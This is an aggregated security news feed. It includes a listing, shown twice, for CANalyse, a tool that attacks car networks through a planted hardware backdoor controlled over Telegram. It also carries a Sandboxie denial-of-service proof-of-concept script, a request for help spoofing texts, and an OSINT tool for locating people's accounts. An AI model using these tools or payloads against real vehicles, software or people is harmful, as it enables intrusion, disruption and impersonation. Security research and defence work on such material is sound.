Hacking on Medium
Security risks with Robots.txt files

https://cdn-images-1.medium.com/max/1200/1*X7uFbNvZghWubAiuAAoxGQ.png
The “robots.txt” file is utilized to offer guidelines to web robots, for example, web index crawlers, about areas inside the website that…

Continue reading on Purple TEAM »

Hacking on Medium
Sepultura

https://cdn-images-1.medium.com/max/1920/1*lGyBXUma_zOvXVIjI_KfIQ.png
Fiction Friday: Hacking through love

Continue reading on P.S. I Love You »

CANalyse - A Vehicle Network Analysis And Attack Tool
http://www.kitploit.com/2021/05/canalyse-vehicle-network-analysis-and.html

CANalyse is a tool built to analyze the log files to find out unique datasets automatically and able to connect to simple user interfaces such as Telegram. Basically, while using this tool the attacker can provide a bot-ID and use the tool over the internet through telegram-bot. CANalyse is made to be placed inside a raspberry-PI and able to exploit the vehicle through a telegram (https://www.kitploit.com/search/label/Telegram) bot by recording and analysing the network traffic/data logs, like a hardware backdoor (https://www.kitploit.com/search/label/Backdoor) planted in a car. A prerequisite to using this tool is that the Hardware (https://www.kitploit.com/search/label/Hardware) implant is already installed in the car and capable of communicating with the Network/communication channels inside the vehicle.
Explained here
Medium Blog (https://kartheeklade.medium.com/what-is-canalyse-and-how-do-i-control-hack-cars-through-telegram-part-1-de358640becf) Youtube (https://youtu.be/s5WGn3rwzKk) Tool Layout

Requirements:
Python3 (https://www.python.org/) pip3 library requirements (https://www.kitploit.com/search/label/Requirements) are listed requirements.txt file.
Installation of CANalyse:
git clone https://github.com/KartheekLade/CANalyse.git
cd CANalyse
pip3 install -r requirements.txt

Usage
cd CANalyse/
python3 canalyse_tool.py

Troubleshooting
If the tool dumps "No such device" error or you can't view any traffic, check if the interface & communication channel in settings. if the auto installation of required libraries didn't work try running with sudo once or install them manually. If you are not able to execute commands properly, do check the " menu ".
Next Updates (In process)
A secondary refinery proccess to get more concentrated payload, which will be optional to users. Making a common settings in CLI and Bot. Ability to record and download multiple files.
Note:
Code is constantly being updated for fixing the bugs, Errorhandling and smooth experience. If you face any problems send a DM or raise a issue, We (I and the contributors) will be happy to help as much as we can. Thanks to developers who created python-can and other libraries used in this tool.
Warning This tool is purely for learning and educational purposes only. I and the contributors are not responsibale for any harmful actions. Don't Use/Share your Public bot Name/ID, it's advised to use a random name.

Download CANalyse (https://github.com/KartheekLade/CANalyse)

Beginner Questions
https://www.reddit.com/r/Pentesting/comments/n723xk/beginner_questions/

<!-- SC_OFF --> What is Pentesting? And what are the application in which Pentesting is used? Thank you <!-- SC_ON --> submitted by /u/SDNPD_070119 (https://www.reddit.com/user/SDNPD_070119)
[link] (https://www.reddit.com/r/Pentesting/comments/n723xk/beginner_questions/) [comments] (https://www.reddit.com/r/Pentesting/comments/n723xk/beginner_questions/)

KitPloit - PenTest Tools!
CANalyse - A Vehicle Network Analysis And Attack Tool

https://1.bp.blogspot.com/-lHYLgmjJ4xg/YJCYPWqYxZI/AAAAAAAAWFY/dFAq_sVA2lwfxCSkpkZJ7_7xLRQpv5gjQCNcBGAsYHQ/w640-h360/CANalyse_1_introduction.png


CANalyse is a tool built to analyze the log files to find out unique datasets automatically and able to connect to simple user interfaces such as Telegram. Basically, while using this tool the attacker can provide a bot-ID and use the tool over the internet through telegram-bot. CANalyse is made to be placed inside a raspberry-PI and able to exploit the vehicle through a telegram bot by recording and analysing the network traffic/data logs, like a hardware backdoor planted in a car.

A prerequisite to using this tool is that the Hardware implant is already installed in the car and capable of communicating with the Network/communication channels inside the vehicle.
Explained here

* Medium Blog
* Youtube

Tool Layout

https://1.bp.blogspot.com/-R2rYuuyTBKg/YJCYZR_O13I/AAAAAAAAWFc/piiPBKyHigMzHGTebzv9Gfzo8MOqhl1HACNcBGAsYHQ/w640-h360/CANalyse_2_toollayout.png
Requirements:

* Python3
* pip3
* library requirements are listed requirements.txt file.

Installation of CANalyse:
git clone https://github.com/KartheekLade/CANalyse.git
cd CANalyse
pip3 install -r requirements.txt

Usage
cd CANalyse/
python3 canalyse_tool.py

Troubleshooting

* If the tool dumps "No such device" error or you can't view any traffic, check if the interface & communication channel in settings.
* if the auto installation of required libraries didn't work try running with sudo once or install them manually.
* If you are not able to execute commands properly, do check the " menu ".

Next Updates (In process)

* A secondary refinery proccess to get more concentrated payload, which will be optional to users.
* Making a common settings in CLI and Bot.
* Ability to record and download multiple files.

Note:

* Code is constantly being updated for fixing the bugs, Errorhandling and smooth experience. If you face any problems send a DM or raise a issue, We (I and the contributors) will be happy to help as much as we can.
* Thanks to developers who created python-can and other libraries used in this tool.

Warning
* This tool is purely for learning and educational purposes only. I and the contributors are not responsibale for any harmful actions.
* Don't Use/Share your Public bot Name/ID, it's advised to use a random name.
Download CANalyse

Dark Reading: Attacks/Breaches
Defending Against Web Scraping Attacks

Web scraping attacks, like Facebook's recent data leak, can easily lead to more significant breaches.

hacking: security in practice
Spoof texts?

I’m not sure if this is the right place to post this, so I apologize if it isn’t. Also, sorry for formatting, I’m on mobile.

Is there a way to send spoof texts for free? I’ve spent the last 24 hours googling, and can’t find anything. Websites that claim to be free, don’t work. (I sent messages to myself, never received them.) Other cost, but I don’t have the money and also don’t want to pay for something that may not work.

I’m not doing anything malicious, it’s for a prank. I need the message to look like it came from my sister. So any help would be super appreciated.

submitted by /u/HeyySeth
[link] [comments]

Vulnnr — Vulnerability Scanner & Auto Exploiter

Continue reading on Medium »
Read more...

Kali Linux Tutorials
Profil3r : OSINT Tool That Allows You To Find A Person’S Accounts And Emails + Breached Emails

Profil3r is an OSINT tool that allows you to find potential profiles of a person on social networks, as well as their email addresses. This program also alerts you to the presence of a data leak for the found emails.  Prerequisite Python 3 Installation Install PyInquirer and jinja2 : pip3 install PyInquirer jinja2 Install Profil3r : git […]

The post Profil3r : OSINT Tool That Allows You To Find A Person’S Accounts And Emails + Breached Emails appeared first on Kali Linux Tutorials.
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Sandboxie 5.49.7 Denial Of Service

https://2.bp.blogspot.com/-byy861XuXi0/WWlvWQTmcNI/AAAAAAAAIOI/mFealIoTV44qfFUu4oCqUAhEFYGzd1o3ACLcBGAs/s1600/h49.png
Sandboxie version 5.49.7 suffers from a denial of service vulnerability.

MD5 | 7b5a4972ec62a3010a5a7ad11643344f

Download
# Exploit Title: Sandboxie 5.49.7 - Denial of Service (PoC)
# Date: 06/05/2021
# Author: Erick Galindo
# Vendor Homepage: https://sandboxie-plus.com/
# Software https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Classic-x64-v5.49.7.exe
# Version: 5.49.7
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Sandboxie Control->Sandbox->Set Container Folder
#3.- Paste the buffer in the input then press ok

buffer = "\x41" * 5000

f = open ("Sandboxie10.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com